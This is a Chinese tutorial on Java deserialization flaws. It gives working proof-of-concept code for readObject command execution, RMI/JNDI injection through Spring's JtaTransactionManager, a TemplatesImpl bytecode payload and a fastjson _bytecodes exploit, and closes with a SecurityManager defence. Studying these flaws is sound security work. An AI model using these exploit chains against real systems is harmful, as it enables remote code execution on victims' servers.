RMI:Java 的一组拥护开发分布式应用程序 API,实现了不同操作系统之间程序的方法调用,RMI 的传输 100% 基于反序列化,Java RMI 的默认端口是 1099 端口
public class DemoSerializable { public static void main(String[] args) throws Exception { //定义myObj对象 MyObject myObj = new MyObject(); myObj.name = "hello world"; //创建一个包含对象进行反序列化信息的”object”数据文件 FileOutputStream fos = new FileOutputStream("object"); ObjectOutputStream os = new ObjectOutputStream(fos); //writeObject()方法将myObj对象写入object文件 os.writeObject(myObj); os.close(); //从文件中反序列化obj对象 FileInputStream fis = new FileInputStream("object"); ObjectInputStream ois = new ObjectInputStream(fis); //恢复对象 MyObject objectFromDisk = (MyObject)ois.readObject(); System.out.println(objectFromDisk.name); ois.close(); } } class MyObject implements Serializable { /** * 任意属性 */ public String name; //重写readObject()方法 private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{ //执行默认的readObject()方法 in.defaultReadObject(); //执行指定程序 Runtime.getRuntime().exec("open https://www.duidaima.com/"); } }运行程序之后,控制台会输出hello world,同时也会打开网页跳转到https://www.duidaima.com/。从这段逻辑中分析,我们可以很清晰的看到反序列化已经成功了,但是程序又偷偷的执行了一段如下代码。
Runtime.getRuntime().exec("open https://www.duidaima.com/");我们可以再把这段代码改造一下,内容如下:
//mac系统,执行打开计算器程序命令 Runtime.getRuntime().exec("open /Applications/Calculator.app/"); //windows系统,执行打开计算器程序命令 Runtime.getRuntime().exec("calc.exe");运行程序后,可以很轻松的打开电脑中已有的任意程序。
public class ExploitableServer { public static void main(String[] args) { try { //创建socket ServerSocket serverSocket = new ServerSocket(Integer.parseInt("9999")); System.out.println("Server started on port "+serverSocket.getLocalPort()); while(true) { //等待链接 Socket socket=serverSocket.accept(); System.out.println("Connection received from "+socket.getInetAddress()); ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream()); try { //读取对象 Object object = objectInputStream.readObject(); System.out.println("Read object "+object); } catch(Exception e) { System.out.println("Exception caught while reading object"); e.printStackTrace(); } } } catch(Exception e) { e.printStackTrace(); } } }然后创建一个 client 代码:
public class ExploitClient { public static void main(String[] args) { try { String serverAddress = "127.0.0.1"; int port = Integer.parseInt("1234"); String localAddress= "127.0.0.1"; System.out.println("Starting HTTP server"); //开启8080端口服务 HttpServer httpServer = HttpServer.create(new InetSocketAddress(8080), 0); httpServer.createContext("/",new HttpFileHandler()); httpServer.setExecutor(null); httpServer.start(); System.out.println("Creating RMI Registry"); //绑定RMI服务到 1099端口 Object 提供恶意类的RMI服务 Registry registry = LocateRegistry.createRegistry(1099); /* java为了将object对象存储在Naming或者Directory服务下, 提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming和Directory服务下, 比如(rmi,ldap等)。在使用Reference的时候,我们可以直接把对象写在构造方法中, 当被调用的时候,对象的方法就会被触发。理解了jndi和jndi reference后, 就可以理解jndi注入产生的原因了。 */ //绑定本地的恶意类到1099端口 Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://"+serverAddress+":8080"+"/"); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference); registry.bind("Object", referenceWrapper); System.out.println("Connecting to server "+serverAddress+":"+port); //连接服务器1234端口 Socket socket=new Socket(serverAddress,port); System.out.println("Connected to server"); String jndiAddress = "rmi://"+localAddress+":1099/Object"; //JtaTransactionManager 反序列化时的readObject方法存在问题 //使得setUserTransactionName可控,远程加载恶意类 //lookup方法会实例化恶意类,导致执行恶意类无参的构造方法 org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager(); object.setUserTransactionName(jndiAddress); //上面就是poc,下面是将object序列化发送给服务器,服务器访问恶意类 System.out.println("Sending object to server..."); ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream()); objectOutputStream.writeObject(object); objectOutputStream.flush(); while(true) { Thread.sleep(1000); } } catch(Exception e) { e.printStackTrace(); } } }最后,创建一个ExportObject需要远程下载的类:
public class ExportObject { public static String exec(String cmd) throws Exception { String sb = ""; BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream()); BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); String lineStr; while ((lineStr = inBr.readLine()) != null) sb += lineStr + "\n"; inBr.close(); in.close(); return sb; } public ExportObject() throws Exception { String cmd="open /Applications/Calculator.app/"; throw new Exception(exec(cmd)); } }先开启 server,再运行 client 后,计算器会直接被打开!
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Test extends AbstractTranslet { public Test() throws IOException { Runtime.getRuntime().exec("open /Applications/Calculator.app/"); } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) { } public static void main(String[] args) throws Exception { Test t = new Test(); } }运行程序之后,同样的直接会打开电脑中的计算器。恶意代码植入的核心就是在对象初始化阶段,直接会调用Runtime.getRuntime().exec("open /Applications/Calculator.app/")这个方法,通过运行时操作类直接执行恶意代码。
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import org.apache.commons.io.IOUtils; import org.apache.commons.codec.binary.Base64; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.IOException; public class POC { public static String readClass(String cls){ ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); } catch (IOException e) { e.printStackTrace(); } return Base64.encodeBase64String(bos.toByteArray()); } public static void test_autoTypeDeny() throws Exception { ParserConfig config = new ParserConfig(); final String fileSeparator = System.getProperty("file.separator"); final String evilClassPath = System.getProperty("user.dir") + "/target/classes/person/Test.class"; String evilCode = readClass(evilClassPath); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b',\"_outputProperties\":{ }," + "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n"; System.out.println(text1); Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); //assertEquals(Model.class, obj.getClass()); } public static void main(String args[]){ try { test_autoTypeDeny(); } catch (Exception e) { e.printStackTrace(); } } }在这个程序验证代码中,最核心的部分是_bytecodes,它是要执行的代码,@type是指定的解析类,fastjson会根据指定类去反序列化得到该类的实例,在默认情况下,fastjson只会反序列化公开的属性和域,而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中_bytecodes却是私有属性,_name也是私有域,所以在parseObject的时候需要设置Feature.SupportNonPublicField,这样_bytecodes字段才会被反序列化。
public class SecurityManagerTest { public static void main(String[] args) { SecurityManager originalSecurityManager = System.getSecurityManager(); if (originalSecurityManager == null) { // 创建自己的SecurityManager SecurityManager sm = new SecurityManager() { private void check(Permission perm) { // 禁止exec if (perm instanceof java.io.FilePermission) { String actions = perm.getActions(); if (actions != null && actions.contains("execute")) { throw new SecurityException("execute denied!"); } } // 禁止设置新的SecurityManager,保护自己 if (perm instanceof java.lang.RuntimePermission) { String name = perm.getName(); if (name != null && name.contains("setSecurityManager")) { throw new SecurityException("System.setSecurityManager denied!"); } } } @Override public void checkPermission(Permission perm) { check(perm); } @Override public void checkPermission(Permission perm, Object context) { check(perm); } }; System.setSecurityManager(sm); } } }只要在 Java 代码里简单加上面那一段,就可以禁止执行外部程序了,但是并非禁止外部程序执行,Java 程序就安全了,有时候可能适得其反,因为执行权限被控制太苛刻了,不见得是个好事,我们还得想其他招数。